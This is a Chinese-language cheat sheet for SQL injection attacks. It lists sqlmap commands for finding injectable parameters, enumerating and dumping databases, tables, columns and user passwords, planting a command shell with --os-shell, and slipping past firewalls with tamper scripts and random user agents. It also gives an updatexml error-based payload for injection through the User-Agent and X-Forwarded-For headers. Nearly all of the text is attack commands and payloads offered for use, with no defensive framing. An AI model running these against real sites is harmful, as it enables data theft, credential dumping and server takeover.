sqlmap注入流程
GET注入
1.检测是否存在sql注入:
sqlmap -u url
2.查数据库:
sqlmap -u url --dbs
3.查表
sqlmap -u url -D 指定某个数据库 --tables
4.查字段
sqlmap -u url -D 指定某个数据库 -T 指定某张表 --columns
5.查数据
sqlmap -u url -D 指定某个数据库 -T 指定某张表 -C 指定字段 -dump
POST注入
1.sqlmap -form 自动检测表单
2.将请求包保存到test.txt
sqlmap -r text.txt
其他查询指令同GET指令一致
其他指令
常用指令
--random-agent 选择随机user-agent头
--delay=1 每次探测延迟1s(防止访问过快被封)
--cout 查看数据量
--proxy "http://127.0.0.1:8080" 可以将sqlmap的请求包发送给burpsuit,更加直观的知道sqlmap的每一步请求操作
--level 1-5 测试等级(最低为1,最高为5),等级越高检测越详细,level>2会检测cookie注入,大于3会检测头部注入,一般选择3
--risk 1-5 风险等级(一般选择2)
--is-dba 查询当前用户权限,如果DBA是True可以尝试直接拿webshell
--os-shell 尝试向网站中放入一个cmdshell(拥有cmd权限的shell),先选择写入shell的脚本语言
查看数据库相关信息
--current-user 枚举当前用户
--current-db 枚举当前数据库
--dbs 枚举可用数据库
--is-dba 枚举数据库权限
--passwords 枚举数据库用户密码
指纹识别
-f 启用广泛的指纹识别
-b 检测数据库指纹
-hostname 枚举主机名
WAF识别
- 如何识别WAF
identify-waf 检测WAF信息
- 如何绕过WAF
sqlmap -u 192.168.225.22 --tamper 脚本名
HEAD注入
$_SERVER
(PHP接受请求后的一些默认数据)
<?php
var_dump($_SERVER);
?>
updatexml()
更新XML的内容
updatexml(1,路径,1)# 路径存在特殊字符就会报错
利用concat()字符拼接进行报错注入
e.g updatexml(1,concat('!a',(select database())),1);
sql语句为:
$sql="insert into test (uagent, username) values('$uagent', '$username')";
payload:
'or updatexml(1, concat('!',(select table_name from information_schema.tables where table_name=database() limit 0,1)),1),123) --qwe
- X_FORWARDED_FOR
告诉目标主机访问者的ip
e.g可以抓取请求包,然后在请求头加上以下信息:
X_FORWARDED_FOR: 'or updatexml(1, concat('!',(select table_name from information_schema.tables where table_name=database() limit 0,1)),1),123) --qwe